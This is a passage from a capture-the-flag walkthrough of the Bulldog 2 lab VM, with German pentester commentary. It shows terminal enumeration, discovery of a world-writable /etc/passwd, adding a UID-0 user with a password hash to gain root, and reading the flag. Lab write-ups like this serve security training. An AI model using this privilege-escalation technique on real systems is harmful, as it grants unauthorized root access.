3037 42 -rwsr-xr-- 1 root systemd-resolve 42992 Sep 14 2023 /snap/core/17200/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3409 419 -rwsr-xr-x 1 root root 428240 Jan 9 2024 /snap/core/17200/usr/lib/openssh/ssh-keysign
6483 125 -rwsr-xr-x 1 root root 127520 Jun 6 14:32 /snap/core/17200/usr/lib/snapd/snap-confine
7666 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/17200/usr/sbin/pppd

Aus Sicht des Pentesters: Wir suchen nach SUID-Binärdateien, die möglicherweise für eine Privilege Escalation ausgenutzt werden können.

$ curl
/bin/sh: 2: curl: not found
$ which python
/usr/bin/python

Aus Sicht des Pentesters: Wir stellen fest, dass `curl` nicht installiert ist. Python ist jedoch vorhanden, was hilfreich sein könnte, um Dateien hochzuladen.

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ cd ~
node@bulldog2$ ls -la
total 32
drwxr-xr-x 3 node node 4096 Jul 15 2018 .
drwxr-xr-x 4 root root 4096 Jul 15 2018 ..
-rw-rw-r-- 1 node node 85 Jul 15 2018 .bash_history
-rw-r--r-- 1 node node 220 Jul 15 2018 .bash_logout
-rw-r--r-- 1 node node 3771 Jul 15 2018 .bashrc
-rw- 1 node node 10 Jul 15 2018 .node_repl_history
drwxrwxr-x 5 node node 4096 ct 31 14:58 .pm2
-rw-r--r-- 1 node node 807 Jul 15 2018 .profile

Aus Sicht des Pentesters: Wir navigieren zum Home-Verzeichnis des Benutzers `node` und listen den Inhalt auf.

node@bulldog2$ cat .bash_history
history
shred -u ~/.bash_history && touch ~/.bash_history
history
exit
history
exit

Aus Sicht des Pentesters: Die `.bash_history`-Datei enthält nur wenige Befehle. Jemand hat versucht, die History zu löschen.

node@bulldog2$ cd /home/
node@bulldog2:/home$ ls
admin node

Aus Sicht des Pentesters: Wir navigieren zum `/home`-Verzeichnis und sehen die Verzeichnisse `admin` und `node`.

node@bulldog2:/home$ cd admin/
node@bulldog2:/home/admin$ ls -la
total 60
drwxr-xr-x 8 admin admin 4096 Jul 15 2018 .
drwxr-xr-x 4 root root 4096 Jul 15 2018 ..
-rw-r--r-- 1 admin admin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 admin admin 15 Jul 15 2018 .bashrc
drwx 2 admin admin 4096 Jul 15 2018 .cache
drwx 3 root root 4096 Jul 15 2018 .config
-rw- 1 admin admin 236 Jul 15 2018 .dbshell
drwx 3 admin admin 4096 Jul 15 2018 .gnupg
-rw- 1 admin admin 0 Jul 15 2018 .mongorc.js
drwxr-xr-x 3 admin admin 4096 Jul 15 2018 .node-gyp
drwxr-xr-x 6 admin admin 4096 Jul 15 2018 .npm
drwxr-xr-x 5 root root 4096 Jul 15 2018 .pm2
-rw-r--r-- 1 admin admin 807 Apr 4 2018 .profile
-rw-r--r-- 1 admin admin 0 Jul 15 2018 .sudo_as_admin_successful
-rw- 1 root root 8307 Jul 15 2018 .viminfo

Aus Sicht des Pentesters: Wir navigieren zum Home-Verzeichnis des Benutzers `admin` und listen den Inhalt auf.

node@bulldog2:/home/admin$ find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null
-rwxrwxrwx 1 root root 1653 Jul 15 2018 /etc/passwd
-rw-rw-rw- 1 root root 0 ct 31 14:58 /sys/kernel/security/apparmor/.access
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/user.slice/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/lxd-containers.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/lvm2-lvmetad.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/apport.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/sys-kernel-debug.mount/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-random-seed.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/grub-common.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-journal-flush.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-timesyncd.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-user-sessions.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/sys-kernel-config.mount/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/snap-core-16202.mount/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/lvm2-monitor.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/lxcfs.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/pm2-node.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-tmpfiles-setup-dev.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/snap-core-17200.mount/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/atd.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-journald.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/kmod-static-nodes.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/ufw.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-sysctl.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-networkd.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/setvtrgb.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/systemd-udev-trigger.service/cgroup.event_control
--w--w--w- 1 root root 0 ct 31 18:21 /sys/fs/cgroup/memory/system.slice/lxd.socket/cgroup ...
...
....

Aus Sicht des Pentesters: Dieser Befehl sucht nach Dateien mit weltweit beschreibbaren Berechtigungen. Wir finden, dass `/etc/passwd` weltweit beschreibbar ist, was eine sehr schwerwiegende Fehlkonfiguration darstellt.

Privilege Escalation
node@bulldog2:/home/admin$ ls -la /etc/passwd
-rwxrwxrwx 1 root root 1653 Jul 15 2018 /etc/passwd

Aus Sicht des Pentesters: Wir bestätigen nochmals, dass `/etc/passwd` weltweit beschreibbar ist.

node@bulldog2:/tmp$ nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106/home/syslog:/usr/sbin/nologin
messagebus:x:103:107/nonexistent:/usr/sbin/nologin
_apt:x:104:65534/nonexistent:/usr/sbin/nologin
lxd:x:105:65534/var/lib/lxd/:/bin/false
uuidd:x:106:110/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1/var/cache/pollinate:/bin/false
sshd:x:110:65534/run/sshd:/usr/sbin/nologin
admin:x:1000:1004:admin:/home/admin:/bin/bash
mongodb:x:111:65534/home/mongodb:/usr/sbin/nologin
node:x:1001:1005:,,,:/home/node:/bin/bash
darkspirit:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Aus Sicht des Pentesters: Wir verwenden `nano`, um einen neuen Benutzer namens `darkspirit` mit der UID 0 (Root) zur Datei `/etc/passwd` hinzuzufügen. Dies ermöglicht es uns, uns als Root-Benutzer anzumelden.

node@bulldog2:/tmp$ su darkspirit
Password:

Aus Sicht des Pentesters: Wir versuchen, uns mit dem Befehl `su` als Benutzer `darkspirit` anzumelden.

root@bulldog2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Aus Sicht des Pentesters: Wir überprüfen unsere Identität mit dem Befehl `id`. Die Ausgabe bestätigt, dass wir Root-Rechte haben. Fantastisch! Die Privilege Escalation war erfolgreich!

root@bulldog2:/tmp# cd ~
root@bulldog2: ls
flag.txt

Aus Sicht des Pentesters: Wir navigieren zum Root-Verzeichnis und finden die Datei `flag.txt`.

root@bulldog2: cat flag.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

I'm already working on another more challenging VM. Follow me for updates.

Aus Sicht des Pentesters: Wir lesen den Inhalt der Datei `flag.txt`, um die Nachricht vom Ersteller der VM zu erhalten.

Flags

cat root.txt Congratulations on completing this VM :D That wasn't so bad was it? Let me know what you thought on twitter, I'm @frichette_n I'm already working on another more challenging VM. Follow me for updates.